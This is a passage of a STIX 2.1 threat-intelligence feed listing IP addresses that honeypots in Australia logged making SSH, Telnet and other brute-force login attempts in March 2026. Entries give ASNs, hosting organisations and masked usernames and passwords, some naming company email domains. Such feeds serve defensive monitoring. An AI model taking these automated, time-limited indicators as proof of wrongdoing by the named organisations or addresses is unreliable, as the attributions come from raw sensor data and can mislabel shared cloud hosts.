      "id": "indicator--8c8a304f-33ff-4bab-8af6-f2a1af104c58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.243.239.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48882. Organisation(s): Optima-Shid LLC.",
      "id": "indicator--e6e8f2f2-8f64-4a4f-9a27-7d086e730163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.218.16.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T19:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e6f09df8-076e-421f-9cd7-e348eab36ac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T19:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.28.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:15:19.000Z",
      "valid_until": "2026-04-07T19:15:11.000Z"
    },
    {
      "created": "2026-03-06T19:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--676900a1-0c80-4ae6-a438-bead25e96b34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T19:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:15:19.000Z",
      "valid_until": "2026-04-07T19:15:11.000Z"
    },
    {
      "created": "2026-03-06T19:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--b75b9183-4c11-466c-af84-6379b4ccba44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T19:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:15:19.000Z",
      "valid_until": "2026-04-07T19:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, c*****p, p***o, r**t, t**n. Passwords observed (masked): 1******8, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--f4d187f9-846a-4ad4-963f-67ff7d907e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.205.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
      "id": "indicator--bc4a1591-4d7f-492b-be04-c3536171110a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.72.9.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n@bardengineering.com, t**t@bardengineering.com. Passwords observed (masked): #******************g, t*******!.",
      "id": "indicator--8ac32da1-9a35-43fa-a6e2-23c0aa7c4089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.62.179.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): c*****t@kelltech.dev, s*****t@kelltech.dev. Passwords observed (masked): T*******!, k***********$.",
      "id": "indicator--497ae0cf-329b-4c30-82da-b2a59779dc23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.142.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--39731e15-ba43-43ab-84d5-939bb42be071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.41.169.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): 3**********4, p***o, c*****p, r**t, t**n. Passwords observed (masked): 3***********4, 3**********4, 1******8, ***, 1***5.",
      "id": "indicator--d0226bff-bb63-4a61-adbc-ff75a58f5790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.177.234.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58541. Organisation(s): Qingdao,266000. Usernames observed (masked): **, r**t. Passwords observed (masked): @*******4, p******d.",
      "id": "indicator--8af6e95e-79be-47e8-b444-08f3ef4911f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.139.194.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RW. ASN(s): 37228. Organisation(s): Olleh-Rwanda-Networks. Usernames observed (masked): 3**********4, p***o, c*****p, r**t, t**n. Passwords observed (masked): 3***********4, 3**********4, 1******8, ***, 1***5.",
      "id": "indicator--590bac27-f00c-41c5-b529-b9ee7578631c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.243.0.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: FR. ASN(s): 3215. Organisation(s): Orange. Usernames observed (masked): a***n@bardengineering.com, i**o@bardengineering.com. Passwords observed (masked): I*******@, P***********4.",
      "id": "indicator--7cc6da0d-8b21-49dc-8f45-91b82daa9113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.128.117.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:15:13.000Z",
      "valid_until": "2026-04-07T20:15:11.000Z"
    },
    {
      "created": "2026-03-06T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): **, r**t, 3**********4, b***h, m**o. Passwords observed (masked): 3***********4, 3**********4, @*******5, b******3, m******s.",
      "id": "indicator--f09613f7-24a1-4ba6-aaa0-55d3810daa7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:15:14.000Z",
      "valid_until": "2026-04-07T21:15:11.000Z"
    },
    {
      "created": "2026-03-06T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1557. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): m******s, m******2, k******i, l******s, l******n.",
      "id": "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.202.188.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:15:14.000Z",
      "valid_until": "2026-04-07T21:15:11.000Z"
    },
    {
      "created": "2026-03-06T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): i******n. Passwords observed (masked): 1******8.",
      "id": "indicator--7389b6f0-b89f-4ab0-9a5b-6faa9aaac67d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.214.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:15:14.000Z",
      "valid_until": "2026-04-07T21:15:11.000Z"
    },
    {
      "created": "2026-03-06T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--385666b5-1a1e-433d-89d4-9d8419d9f289",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.108.251.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:15:14.000Z",
      "valid_until": "2026-04-07T21:15:11.000Z"
    },
    {
      "created": "2026-03-06T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, **, 3**********4, a******h, a*****n. Passwords observed (masked): 1***5, 3***********4, 3**********4, @*******5, @*******6.",
      "id": "indicator--d59910c2-62a8-4051-a659-8fbddbca0cbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.195.138.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:15:14.000Z",
      "valid_until": "2026-04-07T21:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, b*****h, j**a, **. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******8, @*******6.",
      "id": "indicator--8c6de9d7-41ea-46d3-9b8b-996fb8d1daf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.23.199.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3fe96ab5-0256-4aad-af8d-3d2a223d518f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.15.115.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, n*****r, a***n, a*****n. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--491fed70-0aa9-4e7c-8bf9-8c16499bc112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.199.41.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--be129a9f-4a79-4529-a8e5-197fdd7a0fae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4, n*****r, a***n, a*****n. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--f416799a-2355-46cd-a3d3-3a1af52e882f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.15.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al.",
      "id": "indicator--09d0cd28-f52b-4c36-87dd-7ef53d590af5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.184.48.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): **, i****l, ***, r**t, r******r. Passwords observed (masked): 1**4, 1****6, 1******8, 3***********4, @*******4.",
      "id": "indicator--feae0f07-024e-46b6-adc5-f68b5f2f2b8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.11.64.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 29614. Organisation(s): VODAFONE GHANA AS INTERNATIONAL TRANSIT. Usernames observed (masked): r**t, 3**********4, f****e, h****p, j****k. Passwords observed (masked): 1****6, 3***********4, 3**********4, @*******5, @*******6.",
      "id": "indicator--5374f50e-f9b7-4547-9699-958130cec46b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.204.63.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway S.a.s.. Usernames observed (masked): r**t, 3**********4, c****b, ***, h*****g. Passwords observed (masked): 1******8, 1**4, 3***********4, 3**********4, @*******4.",
      "id": "indicator--bfe8bdba-2ca5-49df-8596-3b43810f6498",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.15.145.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.240.192.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--57c52a96-f31d-4580-80d1-70a3fdc1849d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:15:13.000Z",
      "valid_until": "2026-04-07T22:15:11.000Z"
    },
    {
      "created": "2026-03-06T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T23:15:13.000Z",
      "valid_until": "2026-04-07T23:15:11.000Z"
    },
    {
      "created": "2026-03-06T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c9eb5dea-2e99-4e10-a345-b30fe58c003f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.177.253.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T23:15:13.000Z",
      "valid_until": "2026-04-07T23:15:11.000Z"
    },
    {
      "created": "2026-03-06T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f4f2ef7e-02ae-41d1-bcd5-665305e96768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.230.62.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T23:15:13.000Z",
      "valid_until": "2026-04-07T23:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd. Usernames observed (masked): r**t, 3**********4, s***m, **, f********r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1******8, @*******4.",
      "id": "indicator--af20f529-197e-4c2a-b47f-cab6d3a9ba8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.199.203.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:15:14.000Z",
      "valid_until": "2026-04-08T00:15:11.000Z"
    },
    {
      "created": "2026-03-07T00:15:14.000Z",
